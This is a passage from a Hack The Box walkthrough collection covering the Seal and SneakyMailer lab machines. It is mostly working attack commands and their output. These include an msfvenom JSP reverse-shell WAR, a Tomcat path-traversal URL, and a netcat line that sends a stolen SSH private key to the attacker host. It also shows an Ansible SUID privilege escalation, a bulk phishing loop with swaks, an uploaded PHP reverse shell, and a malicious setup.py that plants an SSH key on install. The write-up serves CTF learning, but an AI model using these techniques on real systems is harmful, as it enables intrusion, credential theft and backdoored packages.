		  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
		  See the License for the specific language governing permissions and
		  limitations under the License.
		-->
		<tomcat-users xmlns="http://tomcat.apache.org/xml"
		              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
		              version="1.0">
		<!--
		  NOTE:  By default, no user is included in the "manager-gui" role required
		  to operate the "/manager/html" web application.  If you wish to use this app,
		  you must define such a user - the username and password are arbitrary. It is
		  strongly recommended that you do NOT use one of the users in the commented out
		  section below since they are intended for use with the examples web
		  application.
		-->
		<!--
		  NOTE:  The sample user and role entries below are intended for use with the
		  examples web application. They are wrapped in a comment and thus are ignored
		  when reading this file. If you wish to configure these users for use with the
		  examples web application, do not forget to remove the <!.. ..> that surrounds
		  them. You will also need to set the passwords to something appropriate.
		-->
		<!--
		  <role rolename="tomcat"/>
		  <role rolename="role1"/>
		  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
		  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
		  <user username="role1" password="<must-be-changed>" roles="role1"/>
		-->
		<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
		</tomcat-users>
```

Now we have username and password let's try to login on https://seal.htb/manager/jmxproxy

And boom we are in the manager pannel.

Looking for exploit for tomcat I found an intresting path traversal exploit in tomcat which uses reverse proxy which is the case here as nginx is used as reverse proxy for tomcat running on localhost.

https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/

So from above article we can try directory path traversal to exploit and access forbidden page.

https://seal.htb/manager/jmxproxy/..;/html

this takes us to the home page of tomcat manager.
Now as we can deploy war file we can just get the revershell easily.

#### Exploitation

So first let's generate war payload.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/seal]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.19 LPORT=2525 -f war -o luci.war                                        
Payload size: 1089 bytes
Final size of war file: 1089 bytes
Saved as: luci.war
┌──(root💀kali)-[~/hackthebox/machine/seal]
└─# ls                                                                                                                            
luci.war
```

Now lets upload war file.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2017.jpg)

fire up the burpsuite and intercept the request.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2018.jpg)

you will see this request in intercept tab just change the url as we are not allowed to directly access html.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2019.jpg)

so your final request should look like the above just the url and forward it.

Trriger you rev shell.

``` bash
curl -k 'https://seal.htb/luci/'
```

And boom we have the revshell.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/seal]
└─# rlwrap nc -nlvp 2525
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2525
Ncat: Listening on 0.0.0.0:2525
Ncat: Connection from 10.10.10.250.
Ncat: Connection from 10.10.10.250:43848.
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
whoami
tomcat
```

#### PrivESC to User
#### Enumeration
#### User's home directory

``` bash
ls -al /home/luis
total 51320
drwxr-xr-x 9 luis luis     4096 May  7 07:01 .
drwxr-xr-x 3 root root     4096 May  5 12:52 ..
drwxrwxr-x 3 luis luis     4096 May  7 06:00 .ansible
lrwxrwxrwx 1 luis luis        9 May  5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis      220 May  5 12:52 .bash_logout
-rw-r--r-- 1 luis luis     3797 May  5 12:52 .bashrc
drwxr-xr-x 3 luis luis     4096 May  7 07:00 .cache
drwxrwxr-x 3 luis luis     4096 May  5 13:45 .config
drwxrwxr-x 6 luis luis     4096 Jul 10 19:18 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14 02:51 gitbucket.war
drwxrwxr-x 3 luis luis     4096 May  5 13:41 .java
drwxrwxr-x 3 luis luis     4096 May  5 14:33 .local
-rw-r--r-- 1 luis luis      807 May  5 12:52 .profile
drwx------ 2 luis luis     4096 May  7 06:10 .ssh
-r-------- 1 luis luis       33 Jul 10 19:18 user.txt
```

#### ps -aux

looking at the process running this thing caught my eye as there was .ansible directory in luis home directory and there a process running as luis probably a backup service.

``` bash
ps -aux
<-----SNIP------>
luis         940  0.0  0.0   2608   604 ?        Ss   Jul10   0:00 /bin/sh -c java -jar /home/luis/gitbucket.war
tomcat    145365  0.0  0.0   2608   536 ?        S    08:27   0:00 /bin/sh
root      147949  0.0  0.0   2608   548 ?        Ss   08:41   0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
```

#### run.yml

``` yml
cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/
```

The intresting part in this thing is that it also copies the symblink also as it has copy_links=yes. so this gave me an idea to create a symblink of file or folder.

looking at the permission of the folder we have only read only access to it.

``` bash
ls -al /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root  4096 May  7 09:26 .
drwxr-xr-x 3 root root  4096 May  6 10:48 ..
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6 10:42 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 May  7 09:26 uploads
```

but if we check the subfolder we have read and write access to it so let's try on that first.

``` bash
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
```

#### Exploitation

Now we have to think of what to symlink so we know the user luis have .ssh directory so that might be intresting so let's try that.

``` bash
ln -s /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
```

Now wait for it to create the new archive.
After that creates the new archive it usually takes about a minute to do so be patient.
After you have the archive just move it to /dev/shm cause you cannot extract the archive in that folder as it is read only.

``` bash
cp backup-2021-<--SNIP-->.gz oops.gz
gzip -kd oops.gz
ls
ls
oops  oops.gz  tmp
tar -xf oops
tar -xf oops
ls
ls
dashboard  oops  oops.gz  tmp
cd dashboard
cd dashboard
ls
ls
bootstrap  css  images  index.html  scripts  uploads
cd uploads
cd uploads
ls
ls
ls -al
ls -al
total 0
drwxr-x--- 3 tomcat tomcat  60 Jul 12 06:53 .
drwxr-x--- 7 tomcat tomcat 160 May  7 09:26 ..
drwx------ 2 tomcat tomcat 100 May  7 06:10 .ssh
```

now we have the SSH directory so let's check it out.

```bash
cd .ssh
ls
ls
authorized_keys  id_rsa  id_rsa.pub
```

now let's get id_rsa and SSH as luis.
in tomcat shell
before executing below command make sure you are listening on that port.

``` bash
nc 10.10.14.19 3344 < id_rsa
```

in your shell

``` bash
kali@kali:~/HackTheBox/Seal$ nc -nlvp 3344 > id_rsa
listening on [any] <--SNIP--> ...
connect to [<--SNIP-->] from (UNKNOWN) [<--SNIP-->] 60546
```

Now that we have id_rsa let's ssh.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/seal]
└─# chmod 600 id_rsa 
┌──(root💀kali)-[~/hackthebox/machine/seal]
└─# ssh -i id_rsa luis@seal.htb
The authenticity of host 'seal.htb (10.10.10.250)' can't be established.
ECDSA key fingerprint is SHA256:YTRJC++A+0ww97kJGc5DWAsnI9iusyCE4Nt9fomhxdA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'seal.htb,10.10.10.250' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 12 Jul 2021 02:19:23 PM UTC

  System load:           0.1
  Usage of /:            47.4% of 9.58GB
  Memory usage:          36%
  Swap usage:            0%
  Processes:             156
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.250
  IPv6 address for eth0: dead:beef::250:56ff:feb9:a6


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jul 12 04:38:58 2021 from 10.10.14.63
-bash-5.0$ id
uid=1000(luis) gid=1000(luis) groups=1000(luis)
-bash-5.0$ whoami
luis
-bash-5.0$ cat user.txt 
d4759ed9c0d1d1d933f3552395a139b1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2020.jpg)

Now let's go for root.

#### PrivESC to root
#### Enumeration
#### sudo -l

``` bash
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *
```

Now we can see we can run the command ansible-playbook as root.
This was more easy than the user part as it is just to create a bad yml file and make it run any command as root.

#### Exploitation

so let's create a yml file.

``` yml
- hosts: localhost
  tasks:
    - name: oops
      command: chmod +s /bin/bash
```

If you are new to ansible you can refer check the following resource to create a yml file for ansilble

https://www.middlewareinventory.com/blog/ansible-command-examples/

https://docs.ansible.com/ansible/latest/user_guide/playbooks.html

so let's create the above yml file.

``` bash
luis@seal:~$ cd /dev/shm/
luis@seal:/dev/shm$ nano oops.yml 
luis@seal:/dev/shm$ cat oops.yml 
- hosts: localhost
  tasks:
    - name: oops
      command: chmod +s /bin/bash
```

Now let's run this yml file.

``` bash
-bash-5.0$ sudo /usr/bin/ansible-playbook oops.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] *****************************************************************************************************************

TASK [Gathering Facts] ***********************************************************************************************************
ok: [localhost]

TASK [oops] **********************************************************************************************************************
[WARNING]: Consider using the file module with mode rather than running 'chmod'.  If you need to use command because file is
insufficient you can add 'warn: false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid of this
message.
changed: [localhost]

PLAY RECAP ***********************************************************************************************************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0
```

Now Let's run that suid bit /bin/bash

``` bash
-bash-5.0$ /bin/bash -p
bash-5.0# id
uid=1000(luis) gid=1000(luis) euid=0(root) egid=0(root) groups=0(root),1000(luis)
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# cat root.txt 
44fbd8b82a15b2da77023c94223987f5
bash-5.0# cat /etc/shadow | grep root
root:$6$D8b4qJlaLsRsvwuy$qvUFLUdvoH0EsvrLSJCpejOmV7bZoCO2ZGH2ueU77uAHpxepSfK.ts4LkkfwzuJ.IJ87EeK9RrNKHEorKQp3r.:18752:0:99999:7:::
```

Now we are root so let's get all the flags.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2021.jpg)

#### Summary of knowledge

 - dir fuzz using ffuf
 - found username and password in tomcat-users.xml
 - tomcat path traversal via reverse proxy mapping
 - tomcat manager get reverse shell
 - ln -s to get .ssh id_rsa key
 - create a yml file and use /usr/bin/ansible-playbook to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end seal -->

</details>

<a id="case-sneakymailer"></a>

## 邮件凭据与 Python 包执行

邮件线索连接 pypiserver，setup.py 的执行时机与 HOME 配置影响密钥写入。原文继续分析 sudo pip3 的权限。

<p class="kb-provenance">来源 SneakyMailer · 原记录 2020-07-12 · 41 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-sneakymailer">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start SneakyMailer -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	11 Jul 2020
IP:	10.10.10.197

User Blood	image InfoSecJack	00 days, 03 hours, 45 mins, 53 seconds.
Root Blood	image InfoSecJack	00 days, 03 hours, 48 mins, 41 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb42.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~# nmap -sV -sC -v -p- --min-rate=10000 10.10.10.197
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Employee - Dashboard
143/tcp  open  imap     Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after:  2021-05-14T17:14:21
| MD5:   3faf 4166 f274 83c5 8161 03ed f9c2 0308
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after:  2021-05-14T17:14:21
| MD5:   3faf 4166 f274 83c5 8161 03ed f9c2 0308
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
| http-methods: 
|_  Supported Methods: HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

visit

``` bash
http://10.10.10.179 -> get redirect to http://sneakycorp.htb/
```

add sneakycorp to /etc/hosts:

``` bash
10.10.10.197    sneakycorp.htb 
```

bruteforce subdomains:

``` bash
root@kali:~/hackthebox/machine/SneakyMailer# ./ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H "Host: FUZZ.sneakycorp.htb" -fs 185

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://sneakycorp.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.sneakycorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 185
________________________________________________

dev                     [Status: 200, Size: 13737, Words: 4007, Lines: 341]
```

then add dev.sneakycorp.htb to /etc/hosts

``` bash
10.10.10.197       sneakycorp.htb  dev.sneakycorp.htb
```

visit
``` bash
http://sneakycorp.htb/team.php
```
get a lot of mails extract them to mails.txt
boxname = sneakymail, may have to send some mails

start nc:

``` bash
root@kali:~# nc -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
```

send mails:

``` bash
while read mail; do swaks --to $mail --from it@sneakymailer.htb --header "Subject: Credentials / Errors" --body "goto http://10.10.14.4/" --server 10.10.10.197; done < mails.txt
```

``` bash
root@kali:~/hackthebox/machine/SneakyMailer# cat mails.txt
airisatou@sneakymailer.htb
angelicaramos@sneakymailer.htb
ashtoncox@sneakymailer.htb
bradleygreer@sneakymailer.htb
brendenwagner@sneakymailer.htb
briellewilliamson@sneakymailer.htb
brunonash@sneakymailer.htb
caesarvance@sneakymailer.htb
carastevens@sneakymailer.htb
cedrickelly@sneakymailer.htb
chardemarshall@sneakymailer.htb
colleenhurst@sneakymailer.htb
dairios@sneakymailer.htb
donnasnider@sneakymailer.htb
doriswilder@sneakymailer.htb
finncamacho@sneakymailer.htb
fionagreen@sneakymailer.htb
garrettwinters@sneakymailer.htb
gavincortez@sneakymailer.htb
gavinjoyce@sneakymailer.htb
glorialittle@sneakymailer.htb
haleykennedy@sneakymailer.htb
hermionebutler@sneakymailer.htb
herrodchandler@sneakymailer.htb
hopefuentes@sneakymailer.htb
howardhatfield@sneakymailer.htb
jacksonbradshaw@sneakymailer.htb
jenagaines@sneakymailer.htb
jenettecaldwell@sneakymailer.htb
jenniferacosta@sneakymailer.htb
jenniferchang@sneakymailer.htb
jonasalexander@sneakymailer.htb
laelgreer@sneakymailer.htb
martenamccray@sneakymailer.htb
michaelsilva@sneakymailer.htb
michellehouse@sneakymailer.htb
olivialiang@sneakymailer.htb
paulbyrd@sneakymailer.htb
prescottbartlett@sneakymailer.htb
quinnflynn@sneakymailer.htb
rhonadavidson@sneakymailer.htb
sakurayamamoto@sneakymailer.htb
sergebaldwin@sneakymailer.htb
shaddecker@sneakymailer.htb
shouitou@sneakymailer.htb
sonyafrost@sneakymailer.htb
sukiburks@sneakymailer.htb
sulcud@sneakymailer.htb
tatyanafitzpatrick@sneakymailer.htb
thorwalton@sneakymailer.htb
tigernixon@sneakymailer.htb
timothymooney@sneakymailer.htb
unitybutler@sneakymailer.htb
vivianharrell@sneakymailer.htb
yuriberry@sneakymailer.htb
zenaidafrank@sneakymailer.htb
```

after a while i recived the response

``` bash
root@kali:~# nc -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:57330.
POST / HTTP/1.1
Host: 10.10.14.4
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
```

then decode the string

``` bash
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
```

then we got

``` bash
mail: paulbyrd@sneakymailer.htb
user: paulbyrd
password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
```

install evolution

``` bash
apt-get install evolution
```

enter creds for smtp server 10.10.10.197 and mail paulbyrd@sneakymailer.htb 

then go to look sent items

we got the following items

 - mail 1:

``` bash
发件人:	Paul Byrd <paulbyrd@sneakymailer.htb>
收件人:	low@debian
主题:	Module testing
日期:	Wed, 27 May 2020 13:28:58 -0400

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.
```

 - mail 2:

``` bash
发件人:	Paul Byrd <paulbyrd@sneakymailer.htb>
收件人:	root <root@debian>
主题:	Password reset
日期:	Fri, 15 May 2020 13:03:37 -0500 (2020年05月15日 14时03分37秒)

Hello administrator, I want to change this password for the developer account
 
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
 
Please notify me when you do it
```

#### getshell

try creds on ftp: 

``` bash
root@kali:~/hackthebox/machine/SneakyMailer# ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:root): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 12 02:47 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.
```

then upload the phpreverseshell to the dictionary

``` bash
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (59.5179 MB/s)
```

browser to the following url:

``` bash
http://dev.sneakycorp.htb/shell.php
```

start nc listener

``` bash
root@kali:~# nc -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:59722.
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 05:37:19 up  4:05,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

developer@sneakymailer:/$ id
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)
developer@sneakymailer:/$ whoami
whoami
developer
```

let's still gather more information:

``` bash
developer@sneakymailer:/var/www$ ls
ls
dev.sneakycorp.htb  html  pypi.sneakycorp.htb  sneakycorp.htb
```

let's again edit the /etc/hosts file

``` bash
10.10.10.197    sneakycorp.htb dev.sneakycorp.htb pypi.sneakycorp.htb
```

visit url: 

``` bash
http://pypi.sneakycorp.htb:8080/
```

then we got this

``` bash
Welcome to pypiserver!

This is a PyPI compatible package index serving 0 packages.

To use this server with pip, run the following command:

        pip install --index-url http://pypi.sneakycorp.htb/simple/ PACKAGE [PACKAGE2...]
      

To use this server with easy_install, run the following command:

        easy_install --index-url http://pypi.sneakycorp.htb/simple/ PACKAGE [PACKAGE2...]
      

The complete list of all packages can be found here or via the simple index.

This instance is running version 1.3.2 of the pypiserver software. 
```

find a hash in the webfolder for pypi:

``` bash
developer@sneakymailer:/var/www$ cat /var/www/pypi.sneakycorp.htb/.htpasswd
cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
```

hashcat to crack it:

``` bash
hash type:   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server

D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 1600 password.txt rockyou.txt

$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Sun Jul 12 17:54:53 2020 (3 secs)
Time.Estimated...: Sun Jul 12 17:54:56 2020 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1306.8 kH/s (12.93ms) @ Accel:256 Loops:250 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3670016/14344360 (25.59%)
Rejected.........: 0/3670016 (0.00%)
Restore.Point....: 3538944/14344360 (24.67%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: stefy.emin -> sn7594
Hardware.Mon.#1..: N/A

Started: Sun Jul 12 17:54:46 2020
Stopped: Sun Jul 12 17:54:58 2020
```

then we got the password

``` bash
soufianeelhaoui
```

with this password we can now create a package and upload it (like seen on webpage):

first go to tmp and create a package directory:

``` bash
cd /tmp
mkdir mypkg
```

then create .pypirc file: 

``` bash
[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
```

then use scp to transfer the file:

``` bash
developer@sneakymailer:/tmp/mypkg$ scp root@10.10.14.4:/root/hackthebox/machine/SneakyMailer/.pypirc .
<4.4:/root/hackthebox/machine/SneakyMailer/.pypirc .
Could not create directory '/var/www/dev.sneakycorp.htb/.ssh'.
The authenticity of host '10.10.14.4 (10.10.14.4)' can't be established.
ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/dev.sneakycorp.htb/.ssh/known_hosts).
root@10.10.14.4's password: 2525

.pypirc                                       100%  128     0.4KB/s   00:00
```

change permissions: 


``` bash
developer@sneakymailer:/tmp/mypkg$ chmod 600 .pypirc
chmod 600 .pypirc
developer@sneakymailer:/tmp/mypkg$ ls -la
ls -la
total 12
drwxrwxrwx  2 developer developer 4096 Jul 12 07:09 .
drwxrwxrwt 10 root      root      4096 Jul 12 07:09 ..
-rw-------  1 developer developer  128 Jul 12 07:09 .pypirc
```

create a key, which can then add to authorized keys:

``` bash
root@kali:~/hackthebox/machine/SneakyMailer# ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
root@kali:~/hackthebox/machine/SneakyMailer# ls
ffuf  key  key.pub  mails.txt  shell.php
root@kali:~/hackthebox/machine/SneakyMailer# cat key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMM20bpCOUwHR4+8hMegW7FanYYPdA6yJZ1OIniwUDXn root@kali
```

create the file "setup.py":

``` bash
import setuptools

try:
	with open("/home/low/.ssh/authorized_keys", "a") as f:
		f.write("\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMM20bpCOUwHR4+8hMegW7FanYYPdA6yJZ1OIniwUDXn root@kali")
		f.close()
except Exception as e:
	pass
setuptools.setup(
	name="example-pkg3", # Replace with your own username
	version="0.0.1",
	author="Example Author",
	author_email="author@example.com",
	description="A small example package",
	long_description="",
	long_description_content_type="text/markdown",
	url="https://github.com/pypa/sampleproject",
	packages=setuptools.find_packages(),
	classifiers=[
		"Programming Language :: Python :: 3",
		"License :: OSI Approved :: MIT License",
		"Operating System :: OS Independent",
	],
)
```

then use scp to transfer it:

``` bash
developer@sneakymailer:/tmp/mypkg$ scp root@10.10.14.4:/root/hackthebox/machine/SneakyMailer/setup.py .
<.4:/root/hackthebox/machine/SneakyMailer/setup.py .
Could not create directory '/var/www/dev.sneakycorp.htb/.ssh'.
The authenticity of host '10.10.14.4 (10.10.14.4)' can't be established.
ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/dev.sneakycorp.htb/.ssh/known_hosts).
root@10.10.14.4's password: 2525

setup.py                                      100%  720     0.7KB/s   00:00
```

change HOME environment so that .pypirc can be used and run the setup.py: 

``` bash
developer@sneakymailer:/tmp/mypkg$ chmod 777 setup.py
chmod 777 setup.py
developer@sneakymailer:/tmp/mypkg$ HOME=$(pwd)
HOME=$(pwd)
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating example_pkg3.egg-info
writing example_pkg3.egg-info/PKG-INFO
writing dependency_links to example_pkg3.egg-info/dependency_links.txt
writing top-level names to example_pkg3.egg-info/top_level.txt
writing manifest file 'example_pkg3.egg-info/SOURCES.txt'
reading manifest file 'example_pkg3.egg-info/SOURCES.txt'
writing manifest file 'example_pkg3.egg-info/SOURCES.txt'
